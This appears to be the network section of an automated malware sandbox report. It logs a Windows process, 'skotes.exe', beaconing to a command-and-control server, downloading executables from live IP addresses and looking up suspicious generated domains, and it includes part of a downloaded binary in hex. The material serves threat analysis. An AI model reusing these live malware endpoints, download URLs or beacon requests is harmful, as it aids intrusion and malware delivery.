Dec 20, 2024 13:12:48.502990007 CET	443	49936	178.62.201.34	192.168.2.5
Dec 20, 2024 13:12:48.503009081 CET	49936	443	192.168.2.5	178.62.201.34
Dec 20, 2024 13:12:48.503009081 CET	49936	443	192.168.2.5	178.62.201.34
Dec 20, 2024 13:12:48.503017902 CET	443	49936	178.62.201.34	192.168.2.5
Dec 20, 2024 13:12:48.503027916 CET	443	49936	178.62.201.34	192.168.2.5
Dec 20, 2024 13:12:49.769282103 CET	49943	443	192.168.2.5	172.67.180.113
Dec 20, 2024 13:12:49.769303083 CET	443	49943	172.67.180.113	192.168.2.5
Dec 20, 2024 13:12:49.769378901 CET	49943	443	192.168.2.5	172.67.180.113
Dec 20, 2024 13:12:49.770484924 CET	49943	443	192.168.2.5	172.67.180.113
Dec 20, 2024 13:12:49.770497084 CET	443	49943	172.67.180.113	192.168.2.5
Dec 20, 2024 13:12:50.020864964 CET	49944	443	192.168.2.5	23.55.153.106
Dec 20, 2024 13:12:50.020942926 CET	443	49944	23.55.153.106	192.168.2.5
Dec 20, 2024 13:12:50.021027088 CET	49944	443	192.168.2.5	23.55.153.106
Dec 20, 2024 13:12:50.021367073 CET	49944	443	192.168.2.5	23.55.153.106
Dec 20, 2024 13:12:50.021414042 CET	443	49944	23.55.153.106	192.168.2.5
Dec 20, 2024 13:12:50.557276964 CET	49931	80	192.168.2.5	185.215.113.43
Dec 20, 2024 13:12:50.557606936 CET	49948	80	192.168.2.5	185.215.113.43
Dec 20, 2024 13:12:50.677372932 CET	80	49948	185.215.113.43	192.168.2.5
Dec 20, 2024 13:12:50.677586079 CET	80	49931	185.215.113.43	192.168.2.5
Dec 20, 2024 13:12:50.677607059 CET	49948	80	192.168.2.5	185.215.113.43
Dec 20, 2024 13:12:50.677763939 CET	49948	80	192.168.2.5	185.215.113.43
Dec 20, 2024 13:12:50.677784920 CET	49931	80	192.168.2.5	185.215.113.43
Dec 20, 2024 13:12:50.797791958 CET	80	49948	185.215.113.43	192.168.2.5
Dec 20, 2024 13:12:50.989682913 CET	443	49943	172.67.180.113	192.168.2.5
Dec 20, 2024 13:12:50.989758968 CET	49943	443	192.168.2.5	172.67.180.113
Dec 20, 2024 13:12:51.008328915 CET	49943	443	192.168.2.5	172.67.180.113
Dec 20, 2024 13:12:51.008342981 CET	443	49943	172.67.180.113	192.168.2.5
Dec 20, 2024 13:12:51.008752108 CET	443	49943	172.67.180.113	192.168.2.5
Dec 20, 2024 13:12:51.054588079 CET	49943	443	192.168.2.5	172.67.180.113
Dec 20, 2024 13:12:51.327291012 CET	49943	443	192.168.2.5	172.67.180.113
Dec 20, 2024 13:12:51.327476025 CET	49943	443	192.168.2.5	172.67.180.113
Dec 20, 2024 13:12:51.327526093 CET	443	49943	172.67.180.113	192.168.2.5
Dec 20, 2024 13:12:51.415570021 CET	443	49944	23.55.153.106	192.168.2.5
Dec 20, 2024 13:12:51.415678978 CET	49944	443	192.168.2.5	23.55.153.106
Dec 20, 2024 13:12:51.488799095 CET	49944	443	192.168.2.5	23.55.153.106
Dec 20, 2024 13:12:51.488872051 CET	443	49944	23.55.153.106	192.168.2.5
Dec 20, 2024 13:12:51.489269972 CET	443	49944	23.55.153.106	192.168.2.5
Dec 20, 2024 13:12:51.491601944 CET	49944	443	192.168.2.5	23.55.153.106
Dec 20, 2024 13:12:51.535363913 CET	443	49944	23.55.153.106	192.168.2.5
Dec 20, 2024 13:12:52.023492098 CET	80	49948	185.215.113.43	192.168.2.5
Dec 20, 2024 13:12:52.023581982 CET	49948	80	192.168.2.5	185.215.113.43
Dec 20, 2024 13:12:52.028985023 CET	49937	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:52.029752970 CET	49950	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:52.149122000 CET	80	49937	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:52.149214029 CET	49937	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:52.149739027 CET	80	49950	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:52.149826050 CET	49950	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:52.150017977 CET	49950	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:52.165222883 CET	443	49943	172.67.180.113	192.168.2.5
Dec 20, 2024 13:12:52.165323019 CET	443	49943	172.67.180.113	192.168.2.5
Dec 20, 2024 13:12:52.165386915 CET	49943	443	192.168.2.5	172.67.180.113
Dec 20, 2024 13:12:52.167928934 CET	49943	443	192.168.2.5	172.67.180.113
Dec 20, 2024 13:12:52.167928934 CET	49943	443	192.168.2.5	172.67.180.113
Dec 20, 2024 13:12:52.167946100 CET	443	49943	172.67.180.113	192.168.2.5
Dec 20, 2024 13:12:52.167953968 CET	443	49943	172.67.180.113	192.168.2.5
Dec 20, 2024 13:12:52.176733971 CET	49951	443	192.168.2.5	172.67.180.113
Dec 20, 2024 13:12:52.176812887 CET	443	49951	172.67.180.113	192.168.2.5
Dec 20, 2024 13:12:52.176943064 CET	49951	443	192.168.2.5	172.67.180.113
Dec 20, 2024 13:12:52.177289009 CET	49951	443	192.168.2.5	172.67.180.113
Dec 20, 2024 13:12:52.177320957 CET	443	49951	172.67.180.113	192.168.2.5
Dec 20, 2024 13:12:52.201824903 CET	443	49944	23.55.153.106	192.168.2.5
Dec 20, 2024 13:12:52.201855898 CET	443	49944	23.55.153.106	192.168.2.5
Dec 20, 2024 13:12:52.201875925 CET	443	49944	23.55.153.106	192.168.2.5
Dec 20, 2024 13:12:52.201901913 CET	49944	443	192.168.2.5	23.55.153.106
Dec 20, 2024 13:12:52.201946974 CET	443	49944	23.55.153.106	192.168.2.5

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 20, 2024 13:12:18.153716087 CET	192.168.2.5	1.1.1.1	0x4a7e	Standard query (0)	lossekniyyt.click	A (IP address)	IN (0x0001)	false
Dec 20, 2024 13:12:31.578838110 CET	192.168.2.5	1.1.1.1	0x4bdb	Standard query (0)	httpbin.org	A (IP address)	IN (0x0001)	false
Dec 20, 2024 13:12:31.578959942 CET	192.168.2.5	1.1.1.1	0xeebc	Standard query (0)	httpbin.org	28	IN (0x0001)	false
Dec 20, 2024 13:12:35.237588882 CET	192.168.2.5	1.1.1.1	0xacae	Standard query (0)	home.fivetk5ht.top	A (IP address)	IN (0x0001)	false
Dec 20, 2024 13:12:35.238435030 CET	192.168.2.5	1.1.1.1	0xe019	Standard query (0)	home.fivetk5ht.top	28	IN (0x0001)	false
Dec 20, 2024 13:12:40.130628109 CET	192.168.2.5	1.1.1.1	0xa83f	Standard query (0)	bellflamre.click	A (IP address)	IN (0x0001)	false
Dec 20, 2024 13:12:40.431696892 CET	192.168.2.5	1.1.1.1	0x905a	Standard query (0)	immureprech.biz	A (IP address)	IN (0x0001)	false
Dec 20, 2024 13:12:41.430080891 CET	192.168.2.5	1.1.1.1	0x905a	Standard query (0)	immureprech.biz	A (IP address)	IN (0x0001)	false
Dec 20, 2024 13:12:41.712430000 CET	192.168.2.5	1.1.1.1	0x15f0	Standard query (0)	home.fivetk5ht.top	A (IP address)	IN (0x0001)	false
Dec 20, 2024 13:12:41.712506056 CET	192.168.2.5	1.1.1.1	0x6d33	Standard query (0)	home.fivetk5ht.top	28	IN (0x0001)	false
Dec 20, 2024 13:12:45.015347004 CET	192.168.2.5	1.1.1.1	0xa3f8	Standard query (0)	deafeninggeh.biz	A (IP address)	IN (0x0001)	false
Dec 20, 2024 13:12:46.007899046 CET	192.168.2.5	1.1.1.1	0xa3f8	Standard query (0)	deafeninggeh.biz	A (IP address)	IN (0x0001)	false
Dec 20, 2024 13:12:48.540437937 CET	192.168.2.5	1.1.1.1	0x1116	Standard query (0)	effecterectz.xyz	A (IP address)	IN (0x0001)	false
Dec 20, 2024 13:12:48.761395931 CET	192.168.2.5	1.1.1.1	0xe12e	Standard query (0)	diffuculttan.xyz	A (IP address)	IN (0x0001)	false
Dec 20, 2024 13:12:48.985865116 CET	192.168.2.5	1.1.1.1	0xf653	Standard query (0)	debonairnukk.xyz	A (IP address)	IN (0x0001)	false
Dec 20, 2024 13:12:49.208451986 CET	192.168.2.5	1.1.1.1	0x4adf	Standard query (0)	wrathful-jammy.cyou	A (IP address)	IN (0x0001)	false
Dec 20, 2024 13:12:49.431114912 CET	192.168.2.5	1.1.1.1	0x5c96	Standard query (0)	awake-weaves.cyou	A (IP address)	IN (0x0001)	false
Dec 20, 2024 13:12:49.448257923 CET	192.168.2.5	1.1.1.1	0xe104	Standard query (0)	treehoneyi.click	A (IP address)	IN (0x0001)	false
Dec 20, 2024 13:12:49.657247066 CET	192.168.2.5	1.1.1.1	0x7a83	Standard query (0)	sordid-snaked.cyou	A (IP address)	IN (0x0001)	false
Dec 20, 2024 13:12:49.882268906 CET	192.168.2.5	1.1.1.1	0x138d	Standard query (0)	steamcommunity.com	A (IP address)	IN (0x0001)	false
Dec 20, 2024 13:13:03.316768885 CET	192.168.2.5	1.1.1.1	0x2f86	Standard query (0)	github.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 20, 2024 13:12:18.466367006 CET	1.1.1.1	192.168.2.5	0x4a7e	No error (0)	lossekniyyt.click		104.21.12.88	A (IP address)	IN (0x0001)	false
Dec 20, 2024 13:12:18.466367006 CET	1.1.1.1	192.168.2.5	0x4a7e	No error (0)	lossekniyyt.click		172.67.131.246	A (IP address)	IN (0x0001)	false
Dec 20, 2024 13:12:31.874718904 CET	1.1.1.1	192.168.2.5	0x4bdb	No error (0)	httpbin.org		98.85.100.80	A (IP address)	IN (0x0001)	false
Dec 20, 2024 13:12:31.874718904 CET	1.1.1.1	192.168.2.5	0x4bdb	No error (0)	httpbin.org		34.226.108.155	A (IP address)	IN (0x0001)	false
Dec 20, 2024 13:12:36.044126034 CET	1.1.1.1	192.168.2.5	0xacae	No error (0)	home.fivetk5ht.top		185.121.15.192	A (IP address)	IN (0x0001)	false
Dec 20, 2024 13:12:40.427649975 CET	1.1.1.1	192.168.2.5	0xa83f	Name error (3)	bellflamre.click	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2024 13:12:41.850034952 CET	1.1.1.1	192.168.2.5	0x15f0	No error (0)	home.fivetk5ht.top		185.121.15.192	A (IP address)	IN (0x0001)	false
Dec 20, 2024 13:12:41.893024921 CET	1.1.1.1	192.168.2.5	0x905a	No error (0)	immureprech.biz		45.77.249.79	A (IP address)	IN (0x0001)	false
Dec 20, 2024 13:12:41.893024921 CET	1.1.1.1	192.168.2.5	0x905a	No error (0)	immureprech.biz		178.62.201.34	A (IP address)	IN (0x0001)	false
Dec 20, 2024 13:12:41.893024921 CET	1.1.1.1	192.168.2.5	0x905a	No error (0)	immureprech.biz		104.131.68.180	A (IP address)	IN (0x0001)	false
Dec 20, 2024 13:12:41.893034935 CET	1.1.1.1	192.168.2.5	0x905a	No error (0)	immureprech.biz		45.77.249.79	A (IP address)	IN (0x0001)	false
Dec 20, 2024 13:12:41.893034935 CET	1.1.1.1	192.168.2.5	0x905a	No error (0)	immureprech.biz		178.62.201.34	A (IP address)	IN (0x0001)	false
Dec 20, 2024 13:12:41.893034935 CET	1.1.1.1	192.168.2.5	0x905a	No error (0)	immureprech.biz		104.131.68.180	A (IP address)	IN (0x0001)	false
Dec 20, 2024 13:12:46.459333897 CET	1.1.1.1	192.168.2.5	0xa3f8	No error (0)	deafeninggeh.biz		178.62.201.34	A (IP address)	IN (0x0001)	false
Dec 20, 2024 13:12:46.459333897 CET	1.1.1.1	192.168.2.5	0xa3f8	No error (0)	deafeninggeh.biz		45.77.249.79	A (IP address)	IN (0x0001)	false
Dec 20, 2024 13:12:46.459333897 CET	1.1.1.1	192.168.2.5	0xa3f8	No error (0)	deafeninggeh.biz		104.131.68.180	A (IP address)	IN (0x0001)	false
Dec 20, 2024 13:12:46.459429026 CET	1.1.1.1	192.168.2.5	0xa3f8	No error (0)	deafeninggeh.biz		178.62.201.34	A (IP address)	IN (0x0001)	false
Dec 20, 2024 13:12:46.459429026 CET	1.1.1.1	192.168.2.5	0xa3f8	No error (0)	deafeninggeh.biz		45.77.249.79	A (IP address)	IN (0x0001)	false
Dec 20, 2024 13:12:46.459429026 CET	1.1.1.1	192.168.2.5	0xa3f8	No error (0)	deafeninggeh.biz		104.131.68.180	A (IP address)	IN (0x0001)	false
Dec 20, 2024 13:12:48.757808924 CET	1.1.1.1	192.168.2.5	0x1116	Name error (3)	effecterectz.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2024 13:12:48.983184099 CET	1.1.1.1	192.168.2.5	0xe12e	Name error (3)	diffuculttan.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2024 13:12:49.205744982 CET	1.1.1.1	192.168.2.5	0xf653	Name error (3)	debonairnukk.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2024 13:12:49.428149939 CET	1.1.1.1	192.168.2.5	0x4adf	Name error (3)	wrathful-jammy.cyou	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2024 13:12:49.654423952 CET	1.1.1.1	192.168.2.5	0x5c96	Name error (3)	awake-weaves.cyou	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2024 13:12:49.764671087 CET	1.1.1.1	192.168.2.5	0xe104	No error (0)	treehoneyi.click		172.67.180.113	A (IP address)	IN (0x0001)	false
Dec 20, 2024 13:12:49.764671087 CET	1.1.1.1	192.168.2.5	0xe104	No error (0)	treehoneyi.click		104.21.91.209	A (IP address)	IN (0x0001)	false
Dec 20, 2024 13:12:49.879940033 CET	1.1.1.1	192.168.2.5	0x7a83	Name error (3)	sordid-snaked.cyou	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2024 13:12:50.020138025 CET	1.1.1.1	192.168.2.5	0x138d	No error (0)	steamcommunity.com		23.55.153.106	A (IP address)	IN (0x0001)	false
Dec 20, 2024 13:13:03.453947067 CET	1.1.1.1	192.168.2.5	0x2f86	No error (0)	github.com		20.233.83.145	A (IP address)	IN (0x0001)	false

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49819	185.215.113.43	80	7748	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2024 13:12:04.668518066 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 20, 2024 13:12:06.017477036 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 20 Dec 2024 12:12:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49826	185.215.113.43	80	7748	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2024 13:12:07.644145012 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 33 32 45 37 31 42 38 35 31 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B32E71B85182D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Dec 20, 2024 13:12:09.020086050 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 20 Dec 2024 12:12:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 38 33 0d 0a 20 3c 63 3e 31 30 31 38 35 30 36 30 30 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 66 30 62 35 64 61 66 63 38 35 30 36 32 33 38 34 37 36 30 61 63 30 32 62 34 64 65 64 38 61 62 65 65 65 31 66 62 64 33 32 63 38 36 34 34 34 64 62 33 31 63 66 36 34 64 34 61 34 38 35 61 39 35 39 32 65 31 30 30 62 37 23 31 30 31 38 35 30 37 30 30 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 66 30 62 35 64 61 66 63 38 35 30 36 32 33 38 34 37 36 30 61 63 30 32 62 34 64 65 64 38 61 62 65 65 65 31 66 62 63 36 37 65 38 30 35 35 34 35 62 30 31 63 66 36 34 64 34 61 34 38 35 61 39 35 39 32 65 31 30 30 62 37 23 31 30 31 38 35 30 38 30 30 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 66 30 62 35 64 61 66 63 38 35 30 36 32 33 38 34 37 36 30 61 63 30 32 62 34 64 65 64 38 61 62 65 65 65 31 66 62 63 39 37 63 39 39 34 65 35 66 61 66 31 63 66 36 34 64 34 61 34 38 35 61 39 35 39 32 65 31 30 30 62 37 23 31 30 31 38 35 30 39 30 30 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 66 [TRUNCATED] Data Ascii: 683 <c>1018506001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbd32c86444db31cf64d4a485a9592e100b7#1018507001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbc67e805545b01cf64d4a485a9592e100b7#1018508001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbc97c994e5faf1cf64d4a485a9592e100b7#1018509001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbc770934541bf5dab5e45425197d1aa1daaa8#1018510001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbc07e804d03ac52ea484b411b9dc4e1#1018511001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbde719b5059bb02ab5e45425197d1aa1daaa8#1018512001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbcd7e864403ac52ea484b411b9dc4e1#1018513001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbde719b5059bb01ab5e45425197d1aa1daaa8#1018514001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8e7e7b9ca30804042ba5ce902415450#1018515001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8f8e6b1ca72dd534db057eb410a494d9d#1018516001+++fc8f7c1ed3 [TRUNCATED]
Dec 20, 2024 13:12:09.020123005 CET	124	IN	Data Raw: 30 38 30 34 30 34 32 62 61 35 63 65 39 30 32 34 31 35 34 35 30 23 31 30 31 38 35 31 37 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 65 Data Ascii: 0804042ba5ce902415450#1018517001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8e4f4b2846d934f48b15eaa495c49#1018518001+++b
Dec 20, 2024 13:12:09.254277945 CET	498	IN	Data Raw: 35 39 33 37 63 31 61 39 39 64 35 66 39 64 66 30 62 35 64 61 66 63 38 35 30 36 32 33 38 34 37 36 30 61 63 30 32 62 34 64 65 64 38 61 62 65 65 65 31 66 62 63 37 37 30 39 63 34 35 34 33 62 30 31 63 66 36 34 64 34 61 34 38 35 61 39 35 39 32 65 31 30 Data Ascii: 5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbc7709c4543b01cf64d4a485a9592e100b7#1018519001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbdc76914a49ba1cf64d4a485a9592e100b7#1018520001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49831	31.41.244.11	80	7748	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2024 13:12:09.378407955 CET	61	OUT	GET /files/x3team/random.exe HTTP/1.1 Host: 31.41.244.11
Dec 20, 2024 13:12:10.702476025 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 20 Dec 2024 12:12:10 GMT Content-Type: application/octet-stream Content-Length: 3286016 Last-Modified: Wed, 18 Dec 2024 13:43:08 GMT Connection: keep-alive ETag: "6762d16c-322400" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 88 cf 56 f4 00 00 00 00 00 00 00 00 e0 00 0e 01 0b 01 50 00 00 c8 2f 00 00 5a 02 00 00 00 00 00 ce e6 2f 00 00 20 00 00 00 00 30 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 80 32 00 00 02 00 00 00 00 00 00 02 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 0f 00 00 00 00 00 00 00 00 00 00 00 80 e6 2f 00 4b 00 00 00 00 00 30 00 40 57 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 32 00 0c 00 00 00 33 e6 2f 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELVP/Z/ 0@ 2@/K0@W`23/ H.text/ / `.rsrc@W0X/@@.reloc`2"2@B/H@C@z6+(B99(:+(^A(!(*(0(8yEcO/8^s :&8s8s 9& 8s 8s800000**00**
Dec 20, 2024 13:12:10.702565908 CET	1236	IN	Data Raw: 00 13 30 04 00 04 00 00 00 00 00 00 00 00 00 14 2a 12 00 00 14 2a 00 00 00 22 00 14 a5 2e 00 00 01 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 17 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 14 2a 00 00 00 1a 28 2a 0c 00 Data Ascii: 0".**(~(s;(=t80*0(00*0
Dec 20, 2024 13:12:10.702634096 CET	448	IN	Data Raw: 14 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 00 2a 00 00 00 12 00 00 00 2a 00 00 00 12 00 00 00 2a 00 00 00 12 00 00 00 2a 00 00 00 12 00 00 00 2a 00 00 00 12 00 00 00 2a 00 00 00 12 00 00 00 2a 00 00 00 12 00 00 00 2a 00 00 00 12 00 00 00 2a Data Ascii: *******************************
Dec 20, 2024 13:12:10.702666998 CET	1236	IN	Data Raw: 14 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 14 2a Data Ascii: *******************************
Dec 20, 2024 13:12:10.702718973 CET	1236	IN	Data Raw: 00 12 00 00 00 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 00 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 17 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 00 2a 00 00 00 1a 28 2a 0c 00 06 2a 00 12 00 00 00 2a 00 00 00 12 Data Ascii: ******(*******"***0Y**
Dec 20, 2024 13:12:10.702754021 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 14 2a 13 30 05 00 04 00 00 00 00 00 00 00 00 00 14 2a 13 30 05 00 04 00 00 00 00 00 00 00 00 00 14 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 14 2a 03 30 05 00 04 00 00 00 00 00 00 00 00 00 14 2a 03 30 05 00 04 00 00 00 00 Data Ascii: 00000***********(0**"
Dec 20, 2024 13:12:10.702804089 CET	1236	IN	Data Raw: 17 2a 00 00 00 13 30 02 00 04 00 00 00 00 00 00 00 00 00 14 2a 13 30 05 00 04 00 00 00 00 00 00 00 00 00 14 2a 13 30 06 00 04 00 00 00 00 00 00 00 00 00 14 2a 12 00 00 14 2a 00 00 00 13 30 07 00 04 00 00 00 00 00 00 00 00 00 00 2a 12 00 00 00 2a Data Ascii: 0000*****************("
Dec 20, 2024 13:12:10.702838898 CET	896	IN	Data Raw: 14 2a 00 00 00 22 00 14 a5 c5 00 00 01 2a 00 00 00 12 00 00 00 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 00 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 00 2a 00 00 00 12 00 00 00 2a 00 00 00 12 00 00 14 2a 00 00 00 12 Data Ascii: "*******"***(0**"000
Dec 20, 2024 13:12:10.702872992 CET	1236	IN	Data Raw: 00 2a 00 00 00 12 00 00 17 2a 00 00 00 12 00 00 00 2a 00 00 00 12 00 00 16 2a 00 00 00 13 30 04 00 04 00 00 00 00 00 00 00 00 00 00 2a 13 30 04 00 04 00 00 00 00 00 00 00 00 00 14 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 17 2a 13 30 03 00 04 Data Ascii: ***0000********(000****
Dec 20, 2024 13:12:10.702908039 CET	1236	IN	Data Raw: 00 12 00 00 16 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 17 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 00 2a 00 00 00 12 00 00 00 2a 00 00 00 12 00 00 17 2a 00 00 00 12 00 00 00 2a 00 00 00 12 00 00 14 2a 00 00 00 12 Data Ascii: **********0***000';0*0
Dec 20, 2024 13:12:10.822947979 CET	1236	IN	Data Raw: 17 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 17 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 17 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 00 2a 00 00 00 1a 28 2a 0c 00 06 2a 00 1a 28 2a 0c 00 06 2a 00 28 80 00 02 3f 67 48 69 49 46 80 6e 69 Data Ascii: *****((*(?gHiIFniXtLP?qdls?X2.,AaiX_TpA(((((((((((((**0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49853	185.215.113.43	80	7748	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2024 13:12:18.507740974 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 31 38 35 30 36 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1018506001&unit=246122658369
Dec 20, 2024 13:12:19.842369080 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 20 Dec 2024 12:12:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.5	49859	31.41.244.11	80	7748	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2024 13:12:19.966562033 CET	61	OUT	GET /files/martin/random.exe HTTP/1.1 Host: 31.41.244.11
